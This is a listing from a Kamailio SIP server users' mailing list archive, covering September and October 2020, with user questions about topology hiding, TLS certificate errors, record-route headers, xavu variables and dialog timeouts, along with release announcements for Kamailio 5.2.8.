Hi all. We want to manage users via dbaliases so that one subscriber can have multiple aliases. We have an internal username in the subscriber table. We authenticate with the internal username, the call goes through with the internal username. Is there anyway to specify: 1. Caller-ID to be the actual email_address (added to subscriber table), 2. Authenticate with dbaliases? Any other thoughts please? Appreciate the help. Best wishes.

1 0

Result limitation on sqlops
by Duarte Rocha 07 Oct '20

07 Oct '20

Hey, I just upgrade to Kamailio 5.4 and i see that now sqlops has a limitation of 32 results containers which is not enough for my proxy. Is it possible that this limitation can be configured via module parameters? In the meanwhile i've changed the value in sql_api.c but i would like to have my source code as close as the original as possible. Best Regards, Duarte Rocha

3 3

SIP client - Linphone
by Pavithra Mohanraja 06 Oct '20

06 Oct '20

Hi, I am a newbie to sipclient Linphone. I know this issue is not related with kamailio.Yet If anybody have tried it before , kindly provide me with some links or procedures to be followed for call registration and connectivity with kamailio since in my case, request is going but response is not coming back resulting in timeout issue. This happens only in linphone.If i do the samething in PJSIP/zoiper, call registration and call establishment happens perfectly fine. Kindly help. Thanks, Pavithra

4 10

kamailio SBC - session timers
by marek 06 Oct '20

06 Oct '20

hi, i have kamailio+rtpengine acting as a SBC (private/public net interfaces) kamailio 5.4.x/rtpengine 9.x/centos 7 using TOPOH module modparam("topoh", "mask_ip", "public_IP") i'm rewriting IPs in INVITE like this $var(ruri) = "sip:" + $(ru{re.subst,/private_IP/public_IP/g}); $ru = $(ru{re.subst,/private_IP/public_IP/g}); $tu = $(tu{re.subst,/private_IP/public_IP/g}); $fu = $(fu{re.subst,/remote_private_IP/public_IP/g}); the same for route[WITHINDIALOG] and INVITE i have problem with session timers using re-INVITE method in the first INVITE SDP is correct c=IN IP4 public_IP but in the reinvite is c=IN IP4 private_IP and remote SBC drop with 422 because SDP is changed and SDP version is not. any tips / best practice? thanks Marek

2 2

I want separate subscribers in groups
by ahmed moghazy 06 Oct '20

06 Oct '20

Hello sir, I got the the log from kamailio as u explained thank you , now i want to put subscribers in groups so subscribers in group (a)could not call subscribers in group(b) , and i want to make subscriber could call any one but no one could call him , thank you.

2 1

Drop calls with response 200 without previous 180/183 reponses
by Valter Nogueira 05 Oct '20

05 Oct '20

I would like to use Kamailio to drop every call that is answered with no previous 180 / 183 responses or with 180 / 183 responses with no media attached (no SDP?). Is it possible? How could I accomplish this? Thanks, Valter

4 6

SIP message generator for Kamailio
by luke devon 05 Oct '20

05 Oct '20

Hi Team, May I check with you, Is there a SIP message generator available for the Kamailio? I want to test my setup using some test SIP messages. Many ThanksLuke.

5 6

xcap_client: storage of document in local DB
by Valentin Christoph 05 Oct '20

05 Oct '20

Hi all, Does anybody know, when the xcap_client deletes a registered document from the database? Is it possible to deregister a document? Are you sure, the documented get_elem API function is actually implemented? All the best Christoph

3 5

dlg.list_match - Invalid matching key parameter
by Ilie Soltanici 03 Oct '20

03 Oct '20

Hello, The dlg.list_match rpc function from the dialog module is not able to find dialogs matching by the callid key: kamcmd dlg.list_match callid eq "01234567890(a)192.168.0.1" getting back: error: 500 - Invalid matching key parameter I think it's because of this check: 2945:dialog.c: } else if(mkey.len==5 && strncmp(mkey.s, "callid", mkey.len )==0) { the mkey.len - should be 6 in this case, I recompiled locally the dialog module and seems to be working ok. Thank you.

3 2

Kamailio 5.2.8 released
by Henning Westerholt 02 Oct '20

02 Oct '20

Hello, Kamailio SIP Server v5.2.8 stable release is out. This is a maintenance release of the old stable branch (5.2), that includes fixes since the release of v5.2.7. There are no change to database schema or configuration language structure that you have to do on previous installations of v5.2.x. Unless major regressions are discovered after the release, this will be the last release of the 5.2 stable branch. The current stable branches 5.3 and 5.4 will continue to be maintained. Deployments running previous v5.2.x versions are strongly recommended to be upgraded to v5.2.8. For more details about version 5.2.8 (including links and guidelines to download the tar file or from GIT repository), visit: https://www.kamailio.org/w/2020/10/kamailio-5-2-8-released/ RPM, Debian/Ubuntu packages will be available soon as well. Many thanks to all contributing and using Kamailio! Cheers, Henning -- Henning Westerholt - https://skalatan.de/blog/ Kamailio services - https://gilawa.com<https://gilawa.com/>

1 0

403 Not relaying (DNS)
by Justin Bookshar 02 Oct '20

02 Oct '20

Hello, I'm trying to use Kamailio as a proxy and registrar component in our network and I would like to be able to do several things. I have an MCU capable of making SIP calls and using Kamailio as a proxy but it is not able to register with Kamailio. I would like to have Kamailio resolve addresses using its DNS component. I have attempted to do this, but I am getting 403 Not relaying responses when attempting to make calls through Kamailio that require the destination URI to be resolved. I have enabled debug and I don't see anything that would cause this. I have verified our /etc/resolv.conf file. When I use the primary DNS server in the list on an endpoint, I can get the address to resolve and the call completes correctly. I know I have working equipment on each end and the DNS server and URI are correct but going through Kamailio fails for both the MCU and endpoint when using it as a proxy. I have also tried to disable the internal resolver by adding the use_dns_cache=no option to the kamailio.cfg file. This produced the same result but as I mentioned I have independently verified the DNS server so I know the issue is isolated to Kamailio. Is it possible for Kamailio to do this or am I wrong in believing it can? The second thing I would like to do is to route calls to the MCU based on a prefix. I think I roughly have this working by adding a custom routing block to the request_route operation. I would also like to be able to make calls to local equipment that is not registered with the registrar and I am not able to do this either. I get the same 403 Not Relaying error when I attempt to call a local endpoint by IP address through the proxy that is also not registered with the registrar. Any info is greatly appreciated. version: kamailio 5.2.5 (x86_64/linux) flags: STATS: Off, USE_TCP, USE_TLS, USE_SCTP, TLS_HOOKS, USE_RAW_SOCKS, DISABLE_NAGLE, USE_MCAST, DNS_IP_HACK, SHM_MEM, SHM_MMAP, PKG_MALLOC, Q_MALLOC, F_MALLOC, TLSF_MALLOC, DBG_SR_MEMORY, USE_FUTEX, FAST_LOCK-ADAPTIVE_WAIT, USE_DNS_CACHE, USE_DNS_FAILOVER, USE_NAPTR, USE_DST_BLACKLIST, HAVE_RESOLV_RES ADAPTIVE_WAIT_LOOPS=1024, MAX_RECV_BUFFER_SIZE 262144 MAX_URI_SIZE 1024, BUF_SIZE 65535, DEFAULT PKG_SIZE 8MB poll method support: poll, epoll_lt, epoll_et, sigio_rt, select. id: unknown compiled on 09:56:06 Oct 17 2019 with gcc 8.3.0 Thanks, Justin

1 0

MS Teams Serivce unavailable
by Andy Kama 02 Oct '20

02 Oct '20

Hi All, I have done all the changes to get teams working according to https://skalatan.de/en/blog/kamailio-sbc-teams#:~:text=Extend%20the%20MS%20… . but i find when i send a call to teams they send a response back with service unavailable. Can anyone guide me what I am doing wrong? I have added the record route and confirm it is being sent My setup is freeswitch -- kamailio --- teams

3 13

Releasing Kamailio 5.2.8
by Henning Westerholt 02 Oct '20

02 Oct '20

Hello, I am planning to release next week (likely on Friday 2nd October) the next minor version out of branch 5.2, version 5.2.8. Backports of fixed issues from git master will be integrated as usual. If you are aware of new issues which were not yet reported, let us know (by creating an issue on the tracker). Unless major regressions are discovered after the release, this will be the last release of the 5.2 stable branch. The current stable branches 5.3 and 5.4 will continue to be maintained. Cheers, Henning -- Henning Westerholt - https://skalatan.de/blog/ Kamailio services - https://gilawa.com<https://gilawa.com/>

1 1

Kamailio fails to start when tls module parameter 'config' contains a folder name
by Leonid Fainshtein 02 Oct '20

02 Oct '20

Hi, I am using Kamailio 5.4.1 installed from the packages on Ubuntu 18.04. When I define 'modparam("tls", "config", "<folder>")', Kamailio fails to start: ERROR: tls [tls_config.c:418]: tls_load_config(): cannot make tmp file configrcCczj ERROR: <core> [core/sr_module.c:849]: init_mod(): Error while initializing module tls (/usr/lib/x86_64-linux-gnu/kamailio/modules/tls.so) I checked the tls_load_config() function and found that when a folder is defined in the 'config' parameter, the function tries to open a temporary file in the working directory. I believe that the working directory at that point is the folder where Kamailio was started: /usr/sbin. I succeeded to launch Kamailio in two ways: Method 1: copy 'kamailio' to /tmp and modify kamalio.service accordingly. This experiment result made me think that the working folder is the folder where kamailio is started. Method 2: add Kamailio command line parameter "-w /tmp" (I also tried to define the Systemd 'WorkingDirectory' parameter but it didn't have any effect.) I think that the ultimate solution for this problem is to modify the tls_load_config() function in such a way that it will open the temporary file in a folder that is intended for the temporary files. For example, the /tmp folder in Linux and *BSD systems. I guess that /tmp is a good place in MacOS as well. Best regards, Leonid Fainshtein

2 3

TOPOS issue
by David Villasmil 01 Oct '20

01 Oct '20

Hello guys, I have this scenario where I have an ongoing transaction. I receive a 180 (non 100rel) with some to_tag, which i forward back to the caller. Then I receive an 183 (100rel) which is forwarded back to the caller, who in turn PRACKs it. It is then that Kamailio (apparently) can't match that transaction internally and replies to the caller (the one PRACKing the 183 (100rel)), with 493 FORBIDDEN. I'm attaching a trace flow. (Kamailio is 10.255.0.1) you need to open the email really wide to see it properly. Anyone ever encountered this? Is this valid and should work? |Time | 10.15.169.4 (FS) 10.255.0.1 (KAM) | (KAM) 1.1.1.10 1.2.3.13 | | | | | | | | | | | | | |0.000000 | INVITE SDP (g722 g71 | | | | |(6000) ------------------> (5060) | | | |0.000941 | 100 Telnyx trying | | | | |(6000) <------------------ (5060) | | | |0.046558 | | | INVITE SDP (g722 g71 | | | | |(33033) ------------------> (5060) | |0.102078 | | | 100 Trying, boss | | | | |(33033) <------------------ (5060) | |0.386867 | | | 180 Ring a ling a li | | | | |(33033) <------------------ (5060) | |0.387578 | 180 Ring a ling a li | | | | |(6000) <------------------ (5060) | | | |3.413368 | | | 181 Prending to forw | | | | |(33033) <------------------ (5060) | |3.414373 | 181 Prending to forw | | | | |(6000) <------------------ (5060) | | | |6.441704 | | | 183 Seeing what I ca | | | | |(33033) <------------------ (5060) | |6.442896 | 183 Seeing what I ca | | | | |(6000) <------------------ (5060) | | | |6.890173 | PRACK | | | | | |(6000) ------------------> (5060) | | | |6.895497 | 403 Forbidden R1 | | | | |(6000) <------------------ (5060) | | | |9.473035 | | | 486 Actually, I'm qu | | | | |(33033) <------------------ (5060) | |9.473561 | | | ACK | | | | | |(33033) ------------------> (5060) | |9.473902 | 486 Actually, I'm qu | | | | |(6000) <------------------ (5060) | | | |9.921200 | ACK | | | | | |(6000) ------------------> (5060) | | | Regards, David Villasmil email: david.villasmil.work(a)gmail.com phone: +34669448337

2 2

Record Route
by Andy Kama 01 Oct '20

01 Oct '20

Hi Guys I am trying to add a custom record route so i have added record_route_preset("mydomain:5061;transport=tls", "myip:5060"); yet kamailio is still not adding it in the sip message what am i doing wrong?

2 3

XHTTP_Prom syntax error with usrloc in Kamailio 5.3
by Tim Unkrig 30 Sep '20

30 Sep '20

Hello hello, I would like to monitor our production kamailio cluster (5.3) with prometheus and I was in the beginning so happy to spot the xhhtp_prom module. But when we enabled it, the output was in view of prometheus malformed in combination with the usrloc module, we got the following output: kamailio_usrloc_location-contacts 0 1597934423943 kamailio_usrloc_location-expires 0 1597934423943 kamailio_usrloc_location-users 0 1597934423943 Prometheus only accepts “_” instead of “-“. So unfortunately I get "strconv.ParseFloat: parsing "-contacts": invalid syntax” on the prometheus primary node, when I activated the scraper. This has been issued in the master branch of kamailio with a sanatize function for that problem. But I would like to avoid compiling modules by myself, because this can be messy from time to time. That´s why my question, is there maybe another way of fixing this? I really appreciate any comments here and thanks for your time, Tim Unkrig

2 1

xavu methods equivalent to that of xavp (e.g. xavp_get_child)
by Chaigneau, Nicolas 30 Sep '20

30 Sep '20

Using xavu (now that they have been fixed) in a custom C module, I've noticed that the following methods do not exist: xavu_get_child xavu_get_child_with_ival xavu_get_child_with_sval xavu_serialize_fields Though they are not strictly necessary, it could be useful to add them to Kamailio core. (Possibly with code refactoring, to avoid duplicating whole functions ?) What do you think? Regards, Nicolas. This message contains information that may be privileged or confidential and is the property of the Capgemini Group. It is intended only for the person to whom it is addressed. If you are not the intended recipient, you are not authorized to read, print, retain, copy, disseminate, distribute, or use this message or any part thereof. If you receive this message in error, please notify the sender immediately and delete all copies of this message.

1 0

Re: [SR-Users] Trying to use xavu with "two level naming" => fixed
by Chaigneau, Nicolas 30 Sep '20

30 Sep '20

Hello, I've rebuilt with the following commit: https://github.com/kamailio/kamailio/commit/aa8589ba66f984e93438a91a7fe8b26… Confirming the issue is now fixed. Thanks! Regards, Nicolas. De : Daniel-Constantin Mierla <miconda(a)gmail.com> Envoyé : mardi 29 septembre 2020 09:33 À : Kamailio (SER) - Users Mailing List; Chaigneau, Nicolas Objet : Re: [SR-Users] Trying to use xavu with "two level naming" Hello, can you try with the latest branch 5.4, there was a mistake in setting the callback function for parsing the name for this type of variable -- I just pushed a commit for in to master and 5.4 branches. Cheers, Daniel On 27.09.20 20:05, Chaigneau, Nicolas wrote: Hello, I'm trying to use xavu as described in Kamailio documentation: https://www.kamailio.org/wiki/cookbooks/5.4.x/pseudovariables#xavu_id_-_xav… $xavu(a=>b) = "xyz"; # <- two level naming supported However, this does not seem to work. The second level is ignored. When calling pv_xavu_print() it only shows the last element set, e.g.: $xavu(cdru=>one) = "one" ; $xavu(cdru=>two) = "two" ; pv_xavu_print() ; Result: 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:592]: xavx_print_list_content(): *** (l:0 - 0x7f217c55eab8) XAVU name: cdru 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:593]: xavx_print_list_content(): XAVU id: 1863997055 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:594]: xavx_print_list_content(): XAVU value type: 2 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:603]: xavx_print_list_content(): XAVU value (str): two 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:629]: xavx_print_list_content(): *** (l:0 - 0x7f217c55eab8) end 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:632]: xavx_print_list_content(): ----- end XAVU list: 0x7f217c55eab8 (level=0) Am I missing something, or is this a bug ? Regards, Nicolas. This message contains information that may be privileged or confidential and is the property of the Capgemini Group. It is intended only for the person to whom it is addressed. If you are not the intended recipient, you are not authorized to read, print, retain, copy, disseminate, distribute, or use this message or any part thereof. If you receive this message in error, please notify the sender immediately and delete all copies of this message. _______________________________________________ Kamailio (SER) - Users Mailing List sr-users(a)lists.kamailio.org<mailto:sr-users@lists.kamailio.org> https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users -- Daniel-Constantin Mierla -- www.asipto.com<http://www.asipto.com> www.twitter.com/miconda<http://www.twitter.com/miconda> -- www.linkedin.com/in/miconda<http://www.linkedin.com/in/miconda> Funding: https://www.paypal.me/dcmierla

1 0

P2P Video call over Public IP
by amitsharma＠coraltele.com 30 Sep '20

30 Sep '20

Dear Team, I was trying P2P video calling over Public IP with Kamailio. I have used Linphone as client. But my call is connected but no video and audio was there. For reference I am attaching Client and Kamailio logs. Any help will be appreciated. Thanks & Regards, Amit Sharma (Sr. Team Leader) (An ISO 9001:2008 company) Mobile: <tel:9891612004> tel:9891612004 PH: +91 120 2595870 Ext.: <tel:870> tel:870 Email : <mailto:amitsharma@coraltele.com> amitsharma(a)coraltele.com Web : <blocked::http://www.coraltele.com> www.coraltele.com

2 1

Computing a time difference when handling a stateless SIP request
by Chaigneau, Nicolas 30 Sep '20

30 Sep '20

Hello, New to Kamailio, first post on this ML. I'll probably ask dumb questions, please bear with me :) Here goes the first one. I would like to compute a time difference (with microseconds precision) when handling a stateless SIP request. I looked into the core functions and modules but did not find anything suitable. Before I start implementing this by myself, I'd like to know if there's a simpler way. Thanks for your help! Regards, Nicolas. This message contains information that may be privileged or confidential and is the property of the Capgemini Group. It is intended only for the person to whom it is addressed. If you are not the intended recipient, you are not authorized to read, print, retain, copy, disseminate, distribute, or use this message or any part thereof. If you receive this message in error, please notify the sender immediately and delete all copies of this message.

5 8

I want to get call info from kamailio
by ahmed moghazy 29 Sep '20

29 Sep '20

Excuse me , I want to get call info

3 2

TOPOS issue
by David Villasmil 29 Sep '20

29 Sep '20

Hello guys, I have this scenario where I have an ongoing transaction. I receive a 180 (non 100rel) with some to_tag, which i forward back to the caller. Then I receive an 183 (100rel) which is forwarded back to the caller, who in turn PRACKs it. It is then that Kamailio (apparently) can't match that transaction internally and replies to the caller (the one PRACKing the 183 (100rel)), with 493 FORBIDDEN. I'm attaching a trace flow. (Kamailio is 10.255.0.1) Anyone ever encountered this? Is this valid and should work? Regards, [image: prack.jpeg] David Villasmil email: david.villasmil.work(a)gmail.com phone: +34669448337

1 0

TOPOS issue
by David Villasmil 29 Sep '20

29 Sep '20

Hello all, I have this scenario where I have an ongoing transaction. I receive a 180 (non 100rel) with some to_tag, which i forward back to the caller. Then I receive an 183 (100rel) which is forwarded back to the caller, who in turn PRACKs it. It is then that Kamailio (apparently) can't match that transaction internally and replies to the caller (the one PRACKing the 183 (100rel)), with 493 FORBIDDEN. I'm attaching a trace flow. (Kamailio is 10.255.0.1) Anyone ever encountered this? Is this valid and should work? [image: Screenshot 2020-09-29 at 19.34.19.png] Thanks! David Villasmil email: david.villasmil.work(a)gmail.com phone: +34669448337

1 0

websocket transport protocol in Record-Route header
by Juha Heinanen 29 Sep '20

29 Sep '20

No matter if UA uses ws or wss to connect to Kamailio, when K routes INVITE from this UA and record_route() is called, K always adds ;transport=ws parameter to Record-Route URI, for example, Record-Route: <sip:192.168.43.83:7998;transport=ws;r2=on;lr> In this test, Kamailio is listening on that port like this: # SIP over WebSocket listen=tls:192.168.43.83:7998 Why doesn't K in this case add ;transport=wss to the R-R URI? -- Juha

2 5

uac_replace_from function
by Ilie Soltanici 29 Sep '20

29 Sep '20

Hello, The uac_replace_from seems not to be working properly in the ver 5.4. This is the header I'm trying to change: *From: "Admin" <sip:+123456789@local.ip>;tag=as11428589* by using this function: uac_replace_from("","sip:+123456789@domain.com"); I'm getting the following header: *From: <sip:+123456789@domain.com35316853757>;tag=as11428589* (Double space in the callerid name, and number appended after the domain) Thank you.

1 1

A possibility to disable the topology hiding for some destinations.
by Leonid Fainshtein 29 Sep '20

29 Sep '20

Hi, The 'topos' module has a very useful "event_route[topos:msg-sending]" option that allows very easily to disable topology hiding for ITSPs that requires the real data in the Contact header field. It looks like the feature is not supported in the 'topoh' module (ref. https://kamailio.org/docs/modules/5.4.x/modules/topoh.html). The available 'event_route[topoh:msg-outgoing]' option requires defining the remote server IP address (or a list of addresses in some cases) that is not always convenient. Is there a chance that "event_route[topoh:msg-sending]" will be added? Best regards, Leonid Fainshtein

2 3

Received parameter on Via
by Duarte Rocha 29 Sep '20

29 Sep '20

Greetings, When NAT is detected in my Kamailio, the proxy add the parameter "received" to the Via header which includes the source IP. What is the mechanic or function responsible for this behaviour? Does it come from the NATHELPER module? Best Regards,

4 5

Kamailio 5.4.1 keepalive module failed to find command ka*
by Jan Rozhon 29 Sep '20

29 Sep '20

Hello, I have just started experimenting with keepalive module on 5.4 branch. I am trying to check if the phone is online and active (iOS with Linphone). Based on the docs from here:

2 1

Rewrite BYE to Cancel
by Lars Olsson 29 Sep '20

29 Sep '20

hi, I have a Kamailio setup infront of a SIP system that do not handle cancellation of a INVITE correctly. The system sends out a BYE request instead of a Cancel request on non connected dialogs. I am trying to find a way to let Kamailio "translate" the BYE request to a Cancel reqeust for the ongoing INVITE dialog. Alternative if SEMS b2bua can do it, but currently it replies: "not sip-relaying BYE in not connected dlg", and I have not found any obvious way to rewrite it there. Any thoughts. I can not change the behavior of the remote system. Best Regards, Lars

3 11

Trying to use xavu with "two level naming"
by Chaigneau, Nicolas 29 Sep '20

29 Sep '20

Hello, I'm trying to use xavu as described in Kamailio documentation: https://www.kamailio.org/wiki/cookbooks/5.4.x/pseudovariables#xavu_id_-_xav… $xavu(a=>b) = "xyz"; # <- two level naming supported However, this does not seem to work. The second level is ignored. When calling pv_xavu_print() it only shows the last element set, e.g.: $xavu(cdru=>one) = "one" ; $xavu(cdru=>two) = "two" ; pv_xavu_print() ; Result: 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:592]: xavx_print_list_content(): *** (l:0 - 0x7f217c55eab8) XAVU name: cdru 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:593]: xavx_print_list_content(): XAVU id: 1863997055 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:594]: xavx_print_list_content(): XAVU value type: 2 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:603]: xavx_print_list_content(): XAVU value (str): two 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:629]: xavx_print_list_content(): *** (l:0 - 0x7f217c55eab8) end 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:632]: xavx_print_list_content(): ----- end XAVU list: 0x7f217c55eab8 (level=0) Am I missing something, or is this a bug ? Regards, Nicolas. This message contains information that may be privileged or confidential and is the property of the Capgemini Group. It is intended only for the person to whom it is addressed. If you are not the intended recipient, you are not authorized to read, print, retain, copy, disseminate, distribute, or use this message or any part thereof. If you receive this message in error, please notify the sender immediately and delete all copies of this message.

2 1

Dialog - timeout for dlg with CallID
by Ilie Soltanici 28 Sep '20

28 Sep '20

Hello, I'm trying to get CDR working in Kamailio by using the acc and dialog modules. Everything seemed to be working fine - until i noticed that for some of the calls the call duration is 0, even if that call has been successfully established and duration was for about a few minutes. In the Kamailio logs I'm getting such errors: WARNING: dialog [dlg_handlers.c:1649]: dlg_ontimeout(): timeout for dlg with CallID '304bad142b50bb3a7a117816439ea3d5' and tags 'as3adde5c7' '7d28152f-e0e3-4bcf-9d5c-21c3723b95c5' WARNING: acc [acc_cdr.c:230]: db_write_cdr(): fallback to dlg_only search because of message doesn't exist. This error I'm getting at about 2 min after the ACK message for 200 OK. I'm not sure that this is related to the dialog timeout, but below you can see the related configuration for the dialog module: modparam("dialog", "default_timeout", 10800) # 3 hours modparam("dialog", "early_timeout", 180) modparam("dialog", "noack_timeout", 90) Unfortunately, I'm not able to reproduce this issue, as that's happening randomly and just a few times per day. On the SIP Level i didn't notice any strange issues. Any ideas why is that happening? Thank you.

6 34

Lua kemi-test-suite now availble from luaRocks
by Yuriy Gorlichenko 28 Sep '20

28 Sep '20

Hello Kamailians! I'm glad to announce some updates about the Lua Kemi-test-suite which has been presented on KamailioWorld online 2020 conference https://github.com/ovoshlook/kemi-lua-test-suite There are some important updates that I hope will make your life easier if you use Lua KEMI. - Now (finally!) it is available via LuaRocks. So it is easy to go for now. No more manual source downloads! (this is the main reason I'm writing this message ). - More modules and some core functions have been mocked. It is still a lot of jobs that have to be done but the amount of available mocks is growing. - Added CRASH_PROTECTION functionality. So for now there is a mechanism which is checks if you calling a function with an incorrect amount of params ( see README ). - Extended mocking engine: now it is possible to mock any functions of KSR or third-party modules/libraries: for example, Redis, MySQL, or other connectors calls. P.S. suite still on development and changes from time to time, but published versions are stable and ready to use. P.P.S. Warm welcome to contributors.

2 1

lval_pvar_assign(): setting pvar failed
by Uttam Giri 28 Sep '20

28 Sep '20

Hi, i am using htable to assign internal transaction index and label.however its unable to assign the index and label modparam("htable", "htable", "hte=>size=8;autoexpire=300") $sht(hte=>id_index::$rU) = $T(id_index) $sht(hte=>id_label::$rU) = $T(id_label); Logs:- <script>: proceesing suspended in trasaction [10701:2082699975] Sep 28 04:44:19 ip-172-31-36-96 /usr/sbin/kamailio[98519]: ERROR: {1 29982 INVITE 8f62773bc3dc44a9adb32723f0d0e269} <core> [core/lvalue.c:353]: lval_pvar_assign(): setting pvar failed Sep 28 04:44:19 ip-172-31-36-96 /usr/sbin/kamailio[98519]: ERROR: {1 29982 INVITE 8f62773bc3dc44a9adb32723f0d0e269} <core> [core/lvalue.c:404]: lval_assign(): assignment failed at pos: (570,32-570,43) Sep 28 04:44:19 ip-172-31-36-96 /usr/sbin/kamailio[98519]: ERROR: {1 29982 INVITE 8f62773bc3dc44a9adb32723f0d0e269} <core> [core/lvalue.c:353]: lval_pvar_assign(): setting pvar failed Sep 28 04:44:19 ip-172-31-36-96 /usr/sbin/kamailio[98519]: ERROR: {1 29982 INVITE 8f62773bc3dc44a9adb32723f0d0e269} <core> [core/lvalue.c:404]: lval_assign(): assignment failed at pos: (571,32-571,43) Sep 28 04:44:19 ip-172-31-36-96 /usr/sbin/kamailio[98519]: INFO: {1 29982 INVITE 8f62773bc3dc44a9adb32723f0d0e269} <script>: [SUSPEND] htable key value [<null> -- <null>] Is there any solution for this issue? Thanks, Uttam

2 1

IMS diameter server module
by Pavithra M 28 Sep '20

28 Sep '20

Hi, could anyone please give me some inputs on ims diameter server.. How it can be used ? I tried to use ims diameter server to send http request from pcscf to pcf. But before sending http request, it is sending diameter request to pcf and it is getting failed. I need to have only http request such that my http api should be sent to pcf from pcscf.So I need some input on how it can be used. I have referred the link https://kamailio.org/docs/modules/5.4.x/modules/ims_diameter_server.html but couldnt able to get much details .. If anybody have worked on this, It would be helpful if you give some more details Thanks, Pavithra

1 0

IMS diameter server module
by Pavithra Mohanraja 28 Sep '20

28 Sep '20

Hi, could anyone please give me some inputs on ims diameter server.. How it can be used ? I tried to use ims diameter server to send http request from pcscf to pcf. But before sending http request, it is sending diameter request to pcf and it is getting failed. I need to have only http request such that my http api should be sent to pcf from pcscf.So I need some input on how it can be used. I have referred the link https://kamailio.org/docs/modules/5.4.x/modules/ims_diameter_server.html but couldnt able to get much details .. If anybody have worked on this, It would be helpful if you give some more details Thanks, Pavithra

1 0

Setting up Kamailio IMS
by luke devon 27 Sep '20

27 Sep '20

Hi Team, Can somebody share a guide to setup Kamailio IMS in ubuntu or centos, please? ThanksLuke

2 1

Linphone push notifications (iOS) and kamailio
by Jan Rozhon 26 Sep '20

26 Sep '20

Hi, I know this is kind of a wrong forum for this question, but I have got no answer from linphone forum so I am trying my luck here. I have kamailio with pretty much the default config with slight modification enabling me the push notifications for iOS (via curl) and late forking (t_suspend, t_continue). But my linphone on iOS although gets awaken does not present me with the call I am trying to establish. Did anyone of you guys experimented with similar setup? If so, to what degree were you successful and can you share some insights especially on the format of push notification where I suspect my problem to be rooted? Thanks in advance and once again, sorry if I am off-topic too much. Regards, Jan

4 5

SRVCC Support
by Hamid Hashmi 25 Sep '20

25 Sep '20

Do Module RTPENGINE Supports 'Replaces' header (RFC 3891), if yes then how to use this feature if no then will module RTPEngine will have support for 'Replaces' in the near future? I have been using Freeswitch for this functionality but facing many difficulties in it. Regards Hamid R. Hashmi

3 3

Mapping History-Info <-> Diversion headers
by Anonim Stefan 25 Sep '20

25 Sep '20

Hi guys, I am trying to map all History-Info to/from Diversion headers in a given SIP REQUEST, based on RFC 7544. I want to ask if you are aware of any module functions that does that? (e.g. something like convert_history_to_diversion() and convert_diversion_to_history()) Alternatively, I want to ask you what do you think of such module functions and in which module would they fit best? e.g. textops/tectopsx/diversion ?! Thank you, Stefan

2 1

usrloc - ka_mode timeout
by Ilie Soltanici 25 Sep '20

25 Sep '20

Hello, Is there any way to add those functions from the nathelper module to the usrloc module? *keepalive_timeoutnatping_interval* I'm looking to use ka_mode feature from the usrloc module in order to have roundtrip time computed for each extension but because those functions are missing in the usrloc module and per documentation this functionality conflicts in some way with nathelper module it's not recommended to have both modules enabled. Or maybe there is another way to have them "interconnected"? Thank you.

2 9

rtpproxy_manage and AWS
by Aymeric Moizard 25 Sep '20

25 Sep '20

Hi, I have 2 hosts on AWS behind NAT: One with rtpproxy: /usr/local/bin/rtpproxy -f -p /run/rtpproxy/rtpproxy.pid -s udp: 0.0.0.0:31500 -A 15.236.230.177 <http://15.236.230.177/15.236.230.177> -l 0.0.0.0 <http://0.0.0.0/0.0.0.0> -m 35000 -M 65000 -d DBUG:LOG_LOCAL5 -u rtpproxy:rtpproxy -F The other one, with a kamailio and using only rtpproxy_manage(); without parameters. I'm surprised because in my SDP being modified, kamailio is replacing with its KAMILIO private IP. (not the rtpproxy one) I see that rtpproxy and kamailio are exchanging data. Nothing obvious is coming out. Any obvious mistakes? Anything you need to help? Should I switch to another rtp engine? Regards Aymeric -- Antisip - http://www.antisip.com

2 3

Record Route
by Andy Kama 24 Sep '20

24 Sep '20

I am trying to add a record route to my initial invite but in the logs i can see it says inserted preset record route but if i look in the invite there is not record route here is my config record_route_preset("mydns:5061;transport=tls", "myip:5060");

1 0

TLS Error
by Andy Kama 24 Sep '20

24 Sep '20

Hi Guys I am getting a strange tls error and not sure why my kamailio config is #!define WITH_TLS #!ifdef WITH_TLS enable_tls=1 listen=tls:1.2.3.4:5061 /* upper limit for TLS connections */ tls_max_connections=2048 #!endif #!ifdef WITH_TLS loadmodule "tls.so" #!endif #!ifdef WITH_TLS # ----- tls params ----- modparam("tls", "config", "/usr/local/etc/kamailio/tls.cfg") #!endif ###tls.cfg [server:default] method = TLSv1.2+ verify_certificate = yes require_certificate = yes private_key = /usr/local/etc/kamailio/certs/privkey.pem certificate = /usr/local/etc/kamailio/certs/cert.crt ca_list = /usr/local/etc/kamailio/certs/cacert.pem [client:default] method = TLSv1.2+ verify_certificate = yes require_certificate = yes private_key = /usr/local/etc/kamailio/certs/privkey.pem certificate = /usr/local/etc/kamailio/certs/cert.crt ca_list = /usr/local/etc/kamailio/certs/cacert.pem Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8708]: INFO: {1 1 OPTIONS 84bbc013-5cd1-43a7-a240-106ec00aa628} <core> [core/tcp_main.c:2948]: tcpconn_1st_send(): quick connect for 0x7f776544c978 sock 13 Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8711]: ERROR: tls [tls_server.c:1283]: tls_h_read_f(): protocol level error Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8711]: ERROR: tls [tls_util.h:42]: tls_err_ret(): TLS accept:error:14094418:SSL routines:ssl3_read_bytes:tlsv1 alert unknown ca Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8711]: ERROR: tls [tls_server.c:1287]: tls_h_read_f(): source IP: 1.2.3.4 